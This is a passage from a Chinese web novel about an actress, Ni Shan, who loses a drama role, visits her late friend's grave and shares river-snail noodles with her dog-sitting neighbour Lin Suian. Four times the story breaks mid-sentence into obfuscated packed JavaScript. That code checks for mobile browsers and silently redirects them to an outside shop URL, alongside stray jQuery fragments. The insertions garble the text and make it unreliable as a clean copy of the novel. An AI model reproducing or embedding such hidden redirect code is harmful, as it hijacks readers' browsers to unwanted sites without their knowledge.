“你之前是怎么和你父母说的,你父母眼里你是在澳洲干什么的来着?” 之前的话题还没聊完,倪杉对林岁安的谎言还有很多不知道的地方。 “我父母知道的版本是:我在澳洲研究生毕业,现在正在律所实习,实习结束后要回国发展。”林岁安又拿了几根新的烤肠加进烤肠机,她生意很好,一会儿功夫就又卖完了。 “实际上却在松谷山下招猫逗狗卖烤肠。” 倪杉叹了口气,一屁股坐在林岁安的折叠椅上: “这么大事儿,你之前做决定时没有和谁商量一下吗?” “大事儿?这算什么大事。” 林岁安伸懒腰,故意用手碰了碰倪杉的后颈,手指轻轻划过: “在我看来,除了生死无大事。” “你到底多大了,和你聊天很像和野生老太在聊天,感觉身心都被教育了。” 倪杉感到后颈一阵酥痒,她眯起眼睛,看到林岁安适时地收回了手,这才没和她算账。 小屁孩儿没大没小,动手动脚。 两个年轻人走到摊位前,看着倪杉问道: “老板,矿泉水怎么卖?” “五元。”倪杉拿了一瓶水递给他,等着他扫码付款。由于她十分霸气地翘着二郎腿坐在椅子上,别人还以为她摊主。 林岁安在一旁牵着狗看热闹,又被倪杉瞪了一眼。 林岁安装模作样地在一旁欠儿欠儿地问她:“老板,烤肠好了没有啊。” “什么老板,谁是老板?”倪杉白了她一眼。 “这椅子谁坐谁就是老板。” “那我起来。” “你安心坐着吧,正好能体验一下摆摊的乐趣。” “摆摊有什么乐趣?” “很好玩啊,你小时候没有玩过类似的经营类小游戏吗?我小时候经常玩,假装自己在开店,把做好的美食卖给客人。” 倪杉在林岁安的摊位上呆到中午,太阳太晒,她带着一猪先走一步。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299299|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她和林岁安约好下午把一猪送去洗澡,又和林岁安签了新一期的寄养协议。 她的新剧马上要开机,这几天要频繁往返京市,倪杉坐在林岁安家的公园同款长椅上,大致看了一下寄养协议的各项条款。 上次签的时候她完全没细看,这种服务条款说白了就是寄养机构的免责条款,宠物在寄养期间出现任何问题都与机构无关,不得追究责任,和宠物医院的手术前协议一样,倪杉心里有数。 “现在是夏天了,一猪可能需要多洗几次澡。” “这个你放心,一猪被寄养在我的卧室,每晚要上我的床,我肯定会把它洗得白白胖胖。” 倪杉这次给一猪买了一张很大的凉席垫子带过来,大黄也有,两只狗正开心地在垫子上打滚儿。 “你这次进组是要演什么啊?” “老样子,还是爱而不得的坏女人。” 倪杉这次的剧本有点意思,剧本是根据一本小说改编的,她还特意去看了那本小说,做足了准备工作。 大概故事是姐姐和妹妹为了家族利益要选出一个人去联姻,姐姐是被家族从孤儿院领养的,专门负责照顾和陪伴妹妹长大。联姻对象喜欢妹妹,姐姐也喜欢妹妹,姐姐舍不得妹妹为家族作出牺牲,因此带着妹妹私奔了。 妹妹在私奔途中生了重病,为了救妹妹,姐姐不得已回头去求家族帮忙,妹妹却误会姐姐是想要丢下她,两人之间有了芥蒂,信任破碎。 大结局是悲剧,在联姻对象的挑拨下,妹妹不再相信姐姐,转头和联姻对象结了婚,以此来伤害和报复姐姐,没想到在婚礼当天姐姐却为她挡下一枚致命的子弹。 倪杉饰演的姐姐戏份很多,她拿到厚厚的剧本时很是惊讶,桑桑一边看人物小传一边兴奋地说: “姐,你终于又要下海了,你要火了!” “有这么夸张吗?”倪杉不是很相信。有这么神吗? “一点都不夸张,只要下海,等剧一播就是一夜爆红,这是必然规律。” “不至于。”倪杉不相信。 “姐,等你火了,我跟你出席活动的时候就要狗仗人势扬眉吐气。”桑桑迫不及待地搓手手,名利场很残酷,小艺人和工作人员处于最底层,经常会被区别对待。 “那我尽量好好演,不让你失望。” 这天晚上,林岁安看到倪杉家的灯光没有亮起,就知道她已经离开了。 倪杉每天晚上都习惯性地把全屋的灯都打开,整间房子灯火通明,让她感觉没那么空荡寂寞。 林岁安和她恰恰相反,为了省电,林岁安晚上连洗手间的灯都不开,只要离开房间,她就会习惯性地关灯。 倪杉经常忘记拉窗帘,毫无警惕心,这也让林岁安有意无意地从二楼房间看到过她在卧室时懒散放松的形象。 天气很热,一猪不再上床睡觉,乖乖睡在凉席上。 林岁安给小猪拍了一张照片,发给了倪杉: 岁岁平安:“晚安,这是一个分割线,用来记录一猪妈妈去工作的第一天。” 坚强坏女人在半小时后回复了她:“晚安。” 坚强坏女人:“对了,我家的密码是123456,如果你在这个期间有需要借用书房和家人视频,请自便。” 19. 记得你 倪杉在京市的酒店住了一周。 先是剧本讨论会,紧接着是试装和定妆照,每一天都很忙,早出晚归,经常深夜才有时间吃饭。 在开机仪式的前两天,倪杉终于抽出一个下午的时间能去看看曾沐。 这次她自己去花店亲手选了一束花,上次她就忘记买花,这次特意买了很大一束绣球花,打车去了青羽山公墓。 这天天气很好,天蓝得发亮,倪杉穿了一条黑裙子,特意穿了新买的那双黑色高跟鞋。下了车。她步履飞快地穿过一排排墓碑,来到曾沐面前。 小时候学习武术有一个好处,有了肌肉和力量做功底,穿高跟鞋对她而言特别容易。 “hello,是我,你有没有想我呀,大明星。” 倪杉从包里拿出湿巾,熟练地擦拭曾沐的墓碑。 这个季节,京市多雨,墓碑上落了不少灰尘和污垢,曾沐爱干净,倪杉有点抱歉地想,原本四月就该来的,这么一耽搁就拖到了六七月。 上次来的时候,青羽山还是光秃秃的一片,只有一些山桃花在青黄色的草地上尴尬地开着,现如今整座山已经变成了浓郁的绿色,虽然是绿色,但也是绿色中不怎么好看的色度。 相比松谷山而言,青羽山格外安静,没有那么多千奇百怪的鸟叫声,整座山泡在浓郁的雾气中。明明都是山,在磁场上却完全不同。 倪杉围着曾沐的墓碑转了一圈。 “沐沐,我最近,认识了一个有点奇怪的人。” “其实早就认识了,只是最近才开始熟悉起来。” “她胆子很大,离经叛道,做的事情都很异想天开,很荒唐,和我们以前遇到的那些人都不一样。” “她瞒着父母拿着留学的钱在榆城买了房子,开了个小狗幼儿园,偶尔还去松谷山下卖烤肠。你的一猪现在就寄养在她家。” “她父母到现在为止都以为她在澳洲留学、实习,她还借用了我家的房间跟父母视频,说我是她的室友,还说我在澳洲打工的同时有个五岁的智障孩子。” 多缺德啊。 倪杉说着说着自己都笑了,她把绣球花整理了一下,摆放在墓碑前,看着曾沐的照片,心里软了一下。 “唉,沐沐,我后天有个新剧要开机了,双女主题材的电视剧,我戏份很多,几乎算是女二了。” “我本来以为我会有一部双女主作品和你一起合作呢,想不到再也没有这个机会了。” 倪杉和曾沐在很多年前就讨论过,以后要一起合作一部双女主电视剧,哪怕没人找她们演,她们就自己当导演,自己找圈内的朋友筹备一个拍摄团队。曾沐想演古装剧,她要当女皇帝,让倪杉演她的爱妃,和其他女人在后宫为了得到她的宠爱而相互陷害、争宠。 倪杉想演女霸总,让曾沐演女霸总的死对头,隐婚,两人白天在职场商战,斗智斗勇,相互制衡,晚上回家一起吃饭一起上床,好不快乐。 “昨天拍定妆照,我和饰演妹妹的女演员一起拍的,她才21岁,好年轻,还在上学,没化妆的时候看着就是个小孩子。但是我们俩不熟,所以没什么默契,也没什么cp感,做一些亲密的互动时彼此都很尴尬。” “沐沐。我好想你。” 倪杉有点累了,她换了个姿势蹲下,抱着膝盖,静静看着曾沐的照片。 照片上的曾沐再也不会变老了,永远停留在年轻又美丽的年纪。 她前几天又染了一次头发,为了拍定妆照的时候让自己看上去更完美,她没让桑桑帮忙,特意去发廊找造型师帮忙,把淡棕色的头发染回了黑色。 也有意外收获:黑发让倪杉看起来更年轻了。 她对着镜子,观察自己眼角的细纹,不知怎么的,她忽然问造型师:“奶奶灰色的头发如果褪了色会变成什么样?” “白金色,就是头□□过之后的颜色。” 从青羽山公墓打车回到市区,倪杉约桑桑一起去吃饭。 这是倪杉和桑桑每次进组前的传统仪式,开机之前先去吃点好的。桑桑选了一家在网上很火的餐厅,提前在线上取了号,没等太久,两人在餐桌前面对面坐下,倪杉把点菜这件事交给桑桑,自己靠在椅子上有一搭没一搭地刷着手机。 每次从青羽山公墓回来,倪杉都会心情不好。 她可能这辈子都想不通,为什么出事的人偏偏是曾沐。 餐厅在放杨乃文的歌,曾沐和倪杉曾经在出租屋里伴着这首歌一边喝酒一边在沙发上蹦蹦跳跳。 当时是在庆祝什么事情来着?时隔久远,倪杉竟有些想不起来了。 这首歌也是曾沐先喜欢的,她推荐给倪杉,又带着倪杉去看了杨乃文的现场演唱,好漂亮好帅气,好有实力,倪杉一下子就爱上,当场被俘获。 “没有我的日子你好不好~我好无聊~” 这句歌词跨过时空,一下子砸在倪杉的心上。 桑桑在给她讲另一个演员的八卦,倪杉一边听一边表示惊讶,她一扭头,看见窗外的天空从桔红色过度到淡粉色,两人都拿起手机拍了照。 饭吃到一半,倪杉的经纪人给她发来消息,让她来另一个饭局。倪杉不敢耽搁,去收银台结了账,又去洗手间补了妆,她和桑桑说明情况,独自打车去了经纪人给的地址。 既然回了京市,这些酒局就没理由推脱,倪杉心里清楚,这酒自己不喝,就要经纪人来喝,她在心中很是过意不去,不能拒绝。 桑桑不仅是倪杉的助理,自从宣传离职之后,桑桑也算是她的半个宣传,经纪人有什么工作都是让桑桑传话和对接,至于这种直接联系倪杉的饭局都是非去不可的饭局,没得商量。 倪杉调整好状态,面带微笑地推门走进包厢。 果然是个重要的酒局,在座的各位都是叫的上名字的圈内人士,也不知道自己的经纪人是怎么混进去的。倪杉一眼就看到了经纪人身边坐着的女人,沈焰秋。沈焰秋也抬头看了她一眼,很巧,两人今晚都穿了黑色裙子。 沈焰秋自始至终没有和倪杉说一句话,一直在忙着攻略酒局里的关键人物,她要拿下导演和制片人,给许期欢争取到这个项目的女二号。 倪杉的经纪人也在努力为她争取配角,倪杉按照经纪人的指示,端着酒杯走上去和导演打了招呼做了自我简介,导演没怎么理她,对她很是冷淡,倪杉也不觉得气馁。 她喝干净杯子里的酒,心平气和地回到位置上,为了缓解尴尬,低头看了眼手机。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299300|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到还真有消息。 岁岁平安:“一猪妈妈现在方便视频吗?” 坚强坏女人:“现在不太行。” 岁岁平安:“还在忙?” 坚强坏女人:“对。” 岁岁平安:“一猪已经睡了,你忙完了和我说一声,我给你们视频连线。” 坚强坏女人:“好。” 岁岁平安没再打扰她,给她发来了一张一猪的照片。 林岁安正坐在卧室的床上玩拼图, 拼图是秦筝送她的。秦筝和女朋友买来本来打算慢慢拼,结果两人都高估了自己的能力和耐心,过去三个多月,拼接进度为零。秦筝越看越觉得这套拼图碍事,越看越不顺眼,索性送给了林岁安。 她觉得林岁安住在与世隔绝的山脚下,特别适合玩这种东西。 林岁安收到拼图后,花了一下午时间就拼好了三分之一。她确实很有耐心,外加她现在很清闲,目前在寄养的小狗只有一猪,还有两只豹猫,因此工作量减轻了不少。 她看了眼时间,已经晚上十点半了,倪杉竟然还在忙。 谁说做演员容易呢,明明很辛苦嘛。 她特别想给倪杉发一条消息,问问她到底是卖烤肠轻松还是当演员轻松,又怕在线上被暴打。 她也不知道自己怎么了,总想在倪杉面前开玩笑抖机灵,倪杉一生气她就觉得好开心,从而心满意足地离开。 林岁安等倪杉等到十一点,始终没有等到倪杉的消息,最终倒在床上沉沉睡去。 她已经习惯了一猪睡觉的呼噜声。一开始有点接受不了,总觉得家里好像睡了个活男人,后来彻底放弃了挣扎,把一猪的呼噜声当成白噪音来享受。 酒局一直持续到凌晨两点。 倪杉喝的不算多,她的经纪人已经彻底醉了,摊在椅子上几乎睡了过去。倪杉帮他叫了车,这个时间,京市的市中心打车要排队,几百号人都在叫车。 多亏沈焰秋帮了她一把,两个女孩一起把醉倒的人丢进车里,关上车门,两人不约而同地松了一口气。 “我看过你演的剧,你戏很好。”沈焰秋对她说。 “谢谢。”被这么一夸,倪杉有点受宠若惊。 “曾沐也是我朋友,之前我们在剧组经常一起聊天吃饭。” 沈焰秋站在街边,京市的夜晚依旧灯火通明,格外热闹。 “她当时聊的最多的话题就是关于你的,那时候我还不知道你,没看过你演的作品,也没听过你的名字。” 倪杉站在她身边,低着头,看着自己的脚面。 曾沐当初签了公司,发展得很好,比倪杉的知名度更高。倪杉当时一边替曾沐感到开心,一边适当地远离了她。 曾沐火了之后,她和曾沐从没公开出席过任何活动,也没有合作过任何作品。她刻意把自己隐藏起来,不愿去蹭曾沐的热度和气运,可曾沐却始终和别人说:倪杉是从小和我一起长大的朋友,她也在做演员,很努力,很优秀。 沈焰秋说的这些,倪杉一直都知道,每听一次,原本破碎的心好像又碎了几分,从渣子变成了粉末。 “希望有机会能在剧组见到你,我的车到了,再见。” 20. 灰溜溜 在开机仪式前一天,倪杉收到通知,她的角色被换掉了。 另一位女演员被安排来顶替倪杉要演的角色,倪杉知道她的名字,金一媛选秀出身,一出道就拿了s?的项目,家境优渥,出道以后争议很大,喜欢她的和吐槽她的声音旗鼓相当。 “道理我都懂,为什么现在才通知我?” “导演那边早就知道要换人了吗,那为什么还要在这儿又是开剧本讨论会又是拍定妆照,耍我玩很有意思吗。” 先是愤怒,委屈,随之而来的是一种深深的无力感。 人很脆弱,生活中的一点打击就能够把人摧毁。 角色被换掉的事情很常见,倪杉之前经历过几次,甚至还有演完之后才被换掉,由替换的演员补拍,只是这次不太一样。 她为这个角色做了太多努力和功课,入戏很深,早早就进入了状态,现在突然要从中抽离,对她而言一时之间难以接受。 她没有做好心理准备。 一切都那么顺利,她太想当然了,放松了警惕,还以为到手的角色是她的就会一直是她的。 桑桑那边已经收到经纪人发来的消息,应经纪人的要求,桑桑要按照模版改写一个工作室声明。毕竟之间连定妆照都拍了,突然换了人,理由只能是倪杉因病辞演,为了不耽误拍摄进度主动退出项目,希望大家理解。 桑桑一边改写模版,一边怒气冲冲地在酒店房间骂了半个小时,问候了那位女演员的全家。 倪杉穿着睡裙坐在床边,望着窗户发呆。 她没心情看手机,拿起桌上的冰咖啡喝了一口,问桑桑: “粉丝群那边你有帮我发通知吗。” 倪杉的粉丝群没多少人,都是年纪比较小的妹妹们,知道这个消息后估计会很失望。 “发了。不过事情是怎么一回事她们都知道,那些公告和说法没人信。她们一直在群里安慰你,你要看看吗。” “不看了。我先自己调理一下。” 倪杉一直在试图调整情绪,她太矫情了,一边难过一边平静地忍受。她甚至不是一个会冲动发泄负面情绪的人。 喝酒,叫嚷,发脾气,她都做不到。 她做不到全然不在意,因此只能依靠时间来冲淡这些烦恼和遗憾。 一天过去,一个星期过去,一个月过去,到时候回头再看,也就不得不释怀了。 桑桑退掉下午出发去拍摄地的机票,环视一周,开始帮倪杉收拾行李。 她不知道怎么才能做到不冒犯且有效的安慰,因此选择什么都不说。 突然多了两个多月的假期,倪杉一时之间有些无所适从。 “你说,我要不干脆说走就走去旅游吧。”她灵机一动,想要换个环境旅居一段时间,借着出走来调理心情。 经纪人早已预判了她的计划,给她发来消息,让她打消这个念头:“既然是生病,最好还是呆在家里,等一个月后再说。被路人拍到你在到处旅游就不太好了。” “放心,我这个知名度应该没人会认出我。”倪杉赌气般地回复道: “我出国!我走的远远的总行了吧。” “出国就更不行了,国外全是拆尼斯。” “姐,你知道北极圈有个世界上最孤独的秋千吧,那个秋千全是拆尼斯在排队,等着拍照。”桑桑好心提醒道。 “………”意思是我连北极都不能去了呗。 那还能怎么办呢,只能夹着尾巴灰溜溜地回家了? “你把我东西都收拾好了?”就这么一眨眼的功夫,倪杉的东西已经全部被桑桑打包完毕。 “收拾好了!” “我睡衣还没换呢。你要我披头散发穿睡衣出门吗?失去了角色的我就像疯了的可云?” “不好意思啊姐,我净顾着收拾了,忘了你还没穿衣服。” “………” 一直到退房,倪杉都压抑着情绪,她只是在电话里和经纪人无能狂怒了那么一下,然后就到此为止了。桑桑忍不住在倪杉耳边碎碎念道: “姐,其实也没什么大不了的,这剧本和配置其实也就那样吧,能不能火很难说。” “你之前还说拍了这种下海剧一定能火。”倪杉无语地说。 怎么还两幅面孔呢。 “反正,对我个人来讲就是很一般,没那么大的吸引力。如果不是你演,我肯定不会磕也不会看的。” 桑桑忠诚地说。 “我谢谢你啊。”倪杉点点头,收下了她的安慰。 桑桑又看了眼手机,剧组那边宣布换角色之后,网上有两种声音吵得很厉害: “小说原著党已被气晕。姐姐这个角色一定要让倪杉来演啊,她一看就是那种个性强硬敢于反抗的侠女形象,现在换了个楚楚可怜娇美柔弱的女演员,感觉完全撑不起这个角色。” “金一媛实力也很强啊,虽然是富二代大小姐但完全是靠自己努力在娱乐圈打拼,实力很强,这个角色她完全能演好。” “可是这样对倪杉很不公平。虽然我对倪杉演的角色没什么好感,但还是觉得她有点倒霉。” “娱乐圈就是这样啊,之前倪杉的角色被换掉也不是一次两次了。” 林岁安也在冲浪,她在各种乱糟糟的声音中大概知道了事情的来龙去脉:倪杉被有一位有背景有资源的女演员抢走了角色。 这位女演员的粉丝群体很厉害,一直在网络上疯狂抹黑倪杉,核心意义是在证明金一媛人美心善,之所以接受这个角色是为了救场,是为了挽救倪杉突然辞演而造成的危机和损失。 林岁安想起上次借倪杉的书房和父母视频时,那张桌子上刚好放着翻开的剧本,剧本上被倪杉用荧光笔涂涂画画,每一场戏她都认真看过,做了标注。 她想给倪杉发消息,问问她的情况,可又不知道该怎么说。 她和倪杉只不过是邻居,谈不上是关系多么熟悉的朋友,除了关于小狗的事,其他话题都没什么可聊的。 林岁安和倪杉完全就是两个世界的人,在倪杉眼里,她的所有决定和举动都是匪夷所思且难以理解的,她觉得倪杉应该……不想和她有宠物业务之外的任何往来。 她放下手机,最终什么也没有发。 林岁安用一整天的时间把剩下的拼图完成,拍了张照片发给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299301|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦筝炫耀:“成品看着很不错,多谢啦。” 铁骨铮铮:“我后悔了。你把拼图还我,我要摆在家里。” 岁岁平安:“那我拆掉还你?” 铁骨铮铮:“那算了。” 秦筝感到很遗憾,这拼图图案是独家的,价格也不便宜,一百多块,真是便宜林岁安了。 她又点开聊天框,看了一眼林岁安发来的照片: 这幅拼图拼好之后很美,像一幅流动的春天,画上是被风吹动的绿树,两只透明的飞鸟在空中飞舞。 林岁安抱着拼图画在家里转了一圈儿,在到底是摆在客厅还是卧室之间犹豫着。 铁骨铮铮:“对了,差点忘了问你,你和那个女明星是什么情况?” 秦筝最近太忙了,总觉得自己好像忘了什么事。 上次的领养活动她没去,结果前线的小伙伴给她发来消息,说林岁安带了个女人出现在活动现场,还发来几张拍的不怎么清楚的照片,感觉像是用座机拍的。 铁骨铮铮:“我看到她今天上热搜了,这才想起来,你俩好像关系不一般。” 铁骨铮铮:“上次的领养活动你带她去了,你俩一起逛街吃饭约会,进行到哪一步了?” 铁骨铮铮:“我一直在等着你主动和我坦白,结果你避而不谈,连我都瞒着。” 太让人心寒了林岁安。 岁岁平安:“我不是,我没有。” 岁岁平安:“她是女明星,我是松谷山第一街溜子,你觉得她和我之间能有什么关系?” 铁骨铮铮:“什么关系?” 岁岁平安:“当然是寄养关系了!她的狗寄养在我这里,仅此而已,没有更多。” 林岁安顺便附带了一张一猪的照片。 铁骨铮铮:“唉。如果条件允许的话,我也好想和女明星姐姐谈恋爱啊。” 岁岁平安:“条件允许的意思是?” 铁骨铮铮:“就是漂亮姐姐爱我爱到失心疯,非我不可,跪在地上求着我只爱她一个人,我说这件事情我需要好好考虑一下,你先起来吧,别这样,你这样我很难办。” 岁岁平安:“………那确实很难允许,再说你已经有女朋友了。” 铁骨铮铮:“可以分。” 岁岁平安哭笑不得:“这么薄情的吗,亏你女朋友还天天骑着电驴接你上下班呢。” 铁骨铮铮直接跳过了这个问题:“那你平时会和倪杉聊天吗,都聊些什么?” 岁岁平安:“基本不会闲聊,我会每天给她汇报小狗的情况,晚上会和她视频连线,不过都是把镜头对着小狗。” 铁骨铮铮:“生活中的女明星是什么样的?和在电视里区别大吗?我之前看过她演的一个古装剧,她在里面演一个会轻功的女侠,但因为不是主角,很快就下线了。” 区别可太大了。 林岁安想了想,还是维护了一下倪杉的形象:“和电视里没什么区别,很精致,很注意防晒。” “她在那个剧里是怎么下线的?”她好奇地问秦筝。 “和女主抢男主,被女主一招毙命。” 我就知道。 21. 螺蛳粉 倪杉在收到噩耗的下午就返回了榆城。 这可能是她今年最大的工作了,就这么没了,即使桑桑一路上都在安慰她,她自己也拼命在心里安慰自己,但那种意难平的情绪怎么都抹不去。 她还需要一些时间慢慢恢复。 外界的声音,无论是支持的还是否定的,倪杉都不想听,她任性了一回,放下手机,自主断网了。 在回榆城之前,她让桑桑陪自己去了超市,扫荡了好多吃的东西。原本以为自己要离开家两个月,家里的冰箱以及水果蔬菜都被清空了。 桑桑给她推荐了一款很好吃的螺蛳粉,倪杉想也不想就直接搬了一箱。 人在心情不好的时候就想疯狂消费,她选了太多吃不完的东西,桑桑没拦着她,也知道这样小小的发泄完全没办法安慰到她。 “一般女明星发泄都是会疯狂买奢侈品,姐,你真是别具一格。” “我……等回了榆城,即使买了新的衣服鞋子也没机会穿,还不如买点吃的来的实在。” 什么衣服鞋子包包饰品,倪杉根本没心思想那些。她就想像个仓鼠一样囤点吃的东西,躲在暗无天日的洞穴里默默养伤。 “姐,我知道这么说不合适,但是你得保持身材。” 别吃太多。这个项目没了,后面还有别的呢。 “放心吧,我心里有数。” 倪杉在浴缸里丢入一枚浴球,看着这颗球融化、消失在水中,清澈的水变成了一池的泡泡。 在舒缓的音乐声中,她给自己敷了面膜,扶着浴缸边缘慢慢走近水里,把自己沉进去。 在安静无人又充满安全感的环境中,她很想哭一场,但却发现哭不出来,委屈就像干噎奶酪卡在喉咙里,一点水分都没有。 倪杉以为泡澡能让身心放松,但其实并没有。 音乐没能让她的心情有所好转,她揭下面膜,时不时看一眼时间。 等她泡好澡走进客厅,才发现客厅的大灯突然坏了。 这房子是二层小楼,房顶非常高,几乎不存在自主更换灯泡的可能性。 倪杉从桑桑当初给她整理的备忘录里找出物业电话,打了三个,一个也没打通。 客厅还有一盏落地灯,灯光昏暗,不是很亮,有总比没有好,倪杉在心里庆幸自己当初为了漂亮特意买了这个灯作为装饰,没想到派上了用场。 家里的遮光窗帘严严实实的关起来,倪杉在在今天购买的食物里翻找,看有没有想吃的东西能当做晚餐。 她的手机放在岛台上震了震,响声格外清晰: 岁岁平安:“我看到你家灯亮了。” 岁岁平安:“需要我把一猪给你送回去吗?” 倪杉看到消息后没有第一时间回复。 她想自己一个人在家呆一天,明天早上她也不太想起床遛狗。 倪杉把目光投向那一箱螺蛳粉,她拆开盒子,拿了一袋出来,打算晚上就吃这个。 但是她转念一想,要是晚上煮了这个,家里一整晚就全都是螺蛳粉的味道…… 她灵机一动,给林岁安发去了消息: 坚强坏女人:“你吃晚饭了吗。” “如果还没吃的话,我请你吃螺蛳粉。” 林岁安正好在厨房煎鸡蛋,看到这条消息,她把煎好的鸡蛋夹出来关了火,回复了她: 岁岁平安:“你来我这里还是我去你那里?” 坚强坏女人:“我带着螺蛳粉去你家吧,我家灯坏了,什么也看不清。” 氛围太暧昧了,不合适。而且我家香香的。 林岁安拉开窗帘向对面看去,刚好看到倪杉穿着睡裙拖鞋,手里拎着一箱螺蛳粉,几步就走到了她家门口。她走出门去,给倪杉打开小院的门。 “你怎么把一整箱螺蛳粉都带来了?”林岁安接过她手里的东西,两人并肩往家里走去,她能闻到倪杉身上散发的身体乳的香气。 林岁安敏锐地闻出这是一种温和的木质香,淡淡的,很平静,很安心。 “……就先放在你家吧,买太多了,我自己吃不完。” 倪杉打定了主意,以后要吃螺蛳粉就来林岁安家煮,这样不仅解了馋,还保护了自己家的清新空气,她觉得自己简直就是天才。 一猪发现来人竟然是妈妈,它飞速向倪杉的方向飞奔而来,倪杉马上蹲下来,降低重心,还是被一猪拱着一屁股坐在了地上。 林岁安家的地面就是最原始的水泥地,没有铺地砖也没有铺地板,倪杉抱着一猪亲热了好半天,一周不见,一猪很是想念。 倪杉忽然间就有点释怀了:其实没进组也无所谓了,呆在家里还能多陪陪小狗。两个多月的分别时间对小狗而言还是太长了。 林岁安在一旁拉了她一把,她站起身,拍拍睡裙上的灰尘。 “那我直接煮两袋,我们一人一袋?” “好啊,你看着煮吧。”倪杉坐在林岁安家的公园长椅上,完全就是个甩手掌柜。 家里的小猫们谨慎地观察着她,倪杉拍拍腿,就有小猫跳上来求摸摸。 她又抬头观察了一下林岁安家的大灯,没有主灯,房顶上挂着一排灯泡,看着像是自己改装的,一排灯亮起来效果也很好。 家里多了一个人,林岁安的全部注意力都被她吸引,几乎无法正常做自己的事。 林岁安把这种现象归结为自己的问题:感官太敏感,对外界变化的感知太强烈,我果然还是更适合独处,不适合和人在一起生活、居住。 她想着,那些和别人组成家庭的人大概都是很有钝感力的人吧,能够包容其他会呼吸的人和自己长久处在同一个空间。 又或者,人会爱一个人爱到这种程度吗,能够克服自己极端的敏感的人类洁癖症,和爱人交换口水、呼吸和眼泪。 水烧开了,林岁安把粉下进锅里,又在平底锅上多煎了一个蛋。 “螺蛳粉快好了,你想喝点什么吗。”林岁安对在一边发呆的倪杉问道。 “有什么?” “就是那天你在松谷山下看到我的餐车上在卖的酒水饮料,家里都有。” “除了啤酒,还有别的酒吗?”倪杉不想喝啤酒。 林岁安打开冰箱,她还剩大半瓶气泡白葡萄酒,每天晚餐给自己倒一小杯,甜甜的,当做饮料来喝,刚好可以到达微醺的状态。 她从柜子里拿出两支香槟杯,倒了两杯酒。 “你买杯子了?”倪杉走到餐桌前,随机选了一把椅子拉开、坐下。 “杯子一直都有,之前给你用纸杯是拿你当外人,跟你不熟。”林岁安实话实说。 玻璃杯是给自己人用的。 “也是。” 林岁安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299302|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端着双耳锅小心翼翼走来,把锅放在桌子中间。 她拿了两副筷子两个碗,倪杉全程都很安静,接过她递来的餐具,随手把长发整理到身后去。她的长发不能动,不能随意剪短,要留着做造型。 林岁安又递给倪杉一个发圈,很是贴心,倪杉把头发简单地扎成马尾,看着林岁安帮她盛了一碗粉。盛出来后会凉得快一些,林岁安一个人在家时经常用这个锅煮面。 林岁安从没觉得安静是一件这么压抑的事。 一个人的安静和两个人的安静在性质上完全不同,一个人的安静是享受,两个人的安静让她有些不知所措。 “你想……看个什么剧或者电影吗。”她问倪杉。要不然开个电影放点声音出来,让人把注意力放在视频里,而不是放在彼此身上,这样会比较好。 “我现在不想看任何关于影视画面的东西,容易引发一些不太开心的联想。” 倪杉毫不犹豫地拒绝了,她看着林岁安说: “我记得你有挺多书?” “那等吃完再说吧。”林岁安彻底没辙了,她摸摸碗的边缘,感受了下温度,好像可以了。 “我都忘了问你,你爱吃螺蛳粉吗。”这种东西就像榴莲,并不是所有人都能接受。 “还行,我喜欢吃辣的。” “那就好。” 两人坐在桌前静静地吃饭,螺蛳粉太难闻,连一猪都不愿意上前,只是趴在楼梯口静静地等着她们吃饭。 两人就着螺蛳粉配气泡酒,倪杉吃到最后才意识到自己吃太多了,她放下筷子,有些意犹未尽地看着双耳锅里剩下的米粉。 以防万一,林岁安和她确认了三遍还吃不吃,得到的都是否定的回答,林岁安才把锅里剩下的东西全都自己吃光光。 倪杉站起身,一转身就看到了挂在墙壁上的一幅拼图画。上次来的时候好像还没有呢。 这幅拼图画很有生命力,她忍不住多看了一会儿。 “这是你自己拼出来的吗?还是买回来的现成品?” “我自己拼的。”林岁安被辣的嘴唇都肿了:“我朋友买回来的时候它只是一袋子拼图碎片。” 是我用我的耐心和智慧把它变成了现在的样子。 “挺好看。”倪杉点点头,一听还需要自己拼搭,她就打消了购买同款的念头。 等着林岁安洗了锅和碗,倪杉跟着她一起往二楼卧室走去: 